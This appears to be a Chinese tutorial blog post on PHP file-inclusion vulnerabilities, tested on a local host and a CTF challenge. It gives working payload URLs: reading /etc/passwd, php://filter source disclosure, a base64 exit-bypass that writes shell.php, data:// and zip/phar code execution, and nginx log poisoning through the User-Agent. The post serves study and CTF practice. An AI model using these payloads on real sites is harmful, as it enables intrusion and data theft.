php文件包含
非常古早的记录,给学弟看[捂脸]
php文件包含
文件包含的函数
- include
- require
- include_once
- require_once
require 函数如果没有找到所包含的文件会返回一个E_ERROR,从而无法执行下面的代码;
而include函数如果没有找到所包含的文件会返回一个E_WARNING,可以继续执行下面的代码
set_include_path
为当前脚本设置 include_path
运行时的配置选项。如果脚本设置了include_path 即使你include函数后面跟随了文件的路径,也会优先去解析include_path里的脚本。如果设置了include_path,但是这个路径并没有所包含的文件,而且include所包含的文件中没有路径信息,会报错而不是从当前目录去找。
如果不设置include_path的情况下,切include所包含的文件也不含路径信息的话,会从当前脚本的工作目录去查找文件。
include_once
include_once
语句在脚本执行期间包含并运行指定文件。此行为和 include
语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 **true
**。 顾名思义,require_once,文件仅仅包含(require)一次。
1 | // 1.php |
可以看到这里的3.php只包含了一次,如果把1.php中的include_once
替换为 include
,结果就是
支持协议和封装协议
下面的测试均是使用php 5.6.9测试的
在test.com
中有一个index.php
1 | // index.php |
file://
file协议比较常见,是直接访问本地的文件系统协议,chrome浏览器也支持这种协议。
在windows中,使用方法为file://+/+绝对路径
,比如:file:///D:/phpstudy_pro/WWW/test.com/1.php
如果在linux中使用方法就比较简单file://+/+绝对路径
比如file:///etc/passwd
这样使用的话只好是读取一些敏感文件,或者配合日志包含使用。
http://
想要include包含远程文件,必须在php.ini
文件中打开allow_url_include
选项,默认为off
这样就可以直接包含远程文件了:?url=http://10.25.10.166/1.txt
ftp://
同样也可以使用ftp远程包含文件,同样的使用ftp协议也需要开启allow_url_include
,否则会产生报错
php://
php:// — 访问各个输入/输出流
在php://协议中常用的包含方式有如下几种:
php://input
php://input
是个可以访问请求的原始数据的只读流。
可以理解为,php://input 可以获取post提交的数据
首先,在自己的浏览器是测试失败的,因为浏览器会对提交的内容进行url编码,所以可以用burp进行发包
可以看到特殊符号被url编码了
所以php://input 一般情况下比较鸡肋
php://filter
php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()
、 file()
和 file_get_contents()
, 在数据流内容读取之前没有机会应用其他过滤器。
这个协议一般用于读取php文件,因为默认include会直接执行php文件,而不会显示php文件内容,但是用该协议可以在include前将字符串进行base64编码
php://filter/read=string.toupper/resource=1.php
这个是字符串过滤器,这个不会将源码改变,只会改变结果。
当然也可以用其他的过滤器,例如压缩过滤器,但是这个不便操作,base64转换器为最常用的。
如果想用压缩过滤器的话也可以,但是没必要。这里说一种方法,将压缩过后的内容进行base64 encode 这样就可以正常显示了。
http://test.com/?url=php://filter/read=zlib.deflate/base64-encode/resource=1.php
1 | //1.php |
php://filter/read=convert.base64-encode/resource=1.php
这个是转换过滤器
php://filter/convert.base64-encode/resource=1.php
上面两条语句的效果一样
php://filter 在php文件包含中利用最多的就是读取文件了
在file_get_contents 和 file_put_contents中这个协议还有别的用法
首先介绍一下file_get_contents
函数和file_put_contents
函数
file_get_contents 将整个文件读入一个字符串,所以file_get_contents返回的是一个字符串类型。
1 | // file.php |
对于读取文件和include一样也可以使用convert.base64-encode
,或者其他编码方式
file_put_contents是将数据写入文件,第一个参数是要写入文件的名字,第二个参数是写入的内容。
下述内容引用自P牛博客
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
1 | // bypass_exit.php |
总而言之就是file_put_contents函数中的第一个参数可以使用php伪协议,所以可以利用第一个参数去将要写入的文件进行编码或者解码,而且php在解码base64时,在遇到不在其中的字符时,将会跳过这些字符仅将合法字符进行编码。
关于base64编码的原理网上都有,所以这里不做探讨。
关于这个题目的解是:filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=aPD9waHAgcGhwaW5mbygpOz8%2b
这里有两个需要注意的点,首先是传入的txt参数是<?php phpinfo();?>
经过base64加密后的字符串PD9waHAgcGhwaW5mbygpOz8+
,但是这个字符串末尾是+
,在php中会进行url解码为空格,导致base64解码后缺少结尾的右尖括号而报错,所以应该将+
通过url编码为%2b
,其次就是php解码base64的时候默认会跳过不认识的字符例如< ? > ;
,还有空格也会跳过,所以php解码的时候会识别phpexit
这七个字符,要知道base64解码是四个字符一组,所以在你base64编码后的字符串前应该添加一个base64可识别字符例如a
。
file_put_contents只有一个参数可以支持协议,第二个参数是不支持伪协议的
zip:// bzip2:// zlib://
这些都是压缩文件的协议,用于访问压缩文件中的文件,首先是常见的zip协议
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://test.com/test.php?file=zip://D:\phpstudy_pro\WWW\test.com/file.zip%23shell.php
这里需要注意,即使zip压缩文件的后缀我们随意更改,只要内容是符合压缩文件格式就可以
**bzip2://**的使用方法有点不同:使用的协议是compress.bzip2,而且需要打开php_bz2的扩展
http://test.com/test.php?file=compress.bzip2://D:\phpstudy_pro\WWW\test.com/1.bz2
compress.bzip2://./1.bz2
而且是可以用相对路径的
zlib://
compress.zlib://./1.gz
data://
data:数据流封装器。
http://test.com/test.php?file=data://text/plain,<?php phpinfo()?>
注意不使用base64编码的情况下,plain
后面跟的是,
而不是;
数据封装器,你可以理解为将你提交的字符串<?php phpinfo()?>
,封装成一个数据流然后交给include
在data://
协议中也是可以使用base64编码的
http://test.com/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://
phar:// 数据流包装器。
这个也可以用前面的那个压缩包,不过不需要#去分开压缩包里面的内容了,phar://
协议是根据文件头去判断是不是压缩文件的,所以file.png不会影响正常解析出这个压缩包。
与zip://
使用一致
rar://
使用方式:
rar://压缩包地址#压缩包内的文件
本机测试报错,failed to open stream: Error opening RAR archive D:\phpstudy_pro\WWW\test.com\shell.rar: ERAR_EOPEN
可能是因为winrar软件的问题,没有继续解决
日志包含
如果网站用的服务器是nginx,可以包含nginx的日志,这里以一个ctf题目做例子
是ctf.show
网站中的web4
首先包含一个nginx的默认配置文件/etc/nginx/nginx.conf
,这里面有nginx日志的保存位置
然后可以看到nginx的默认日志地址:/var/log/nginx/access.log
或者/var/log/nginx/error.log
然后再UA那里插入要执行的php代码
这样就可以执行任意的php代码了。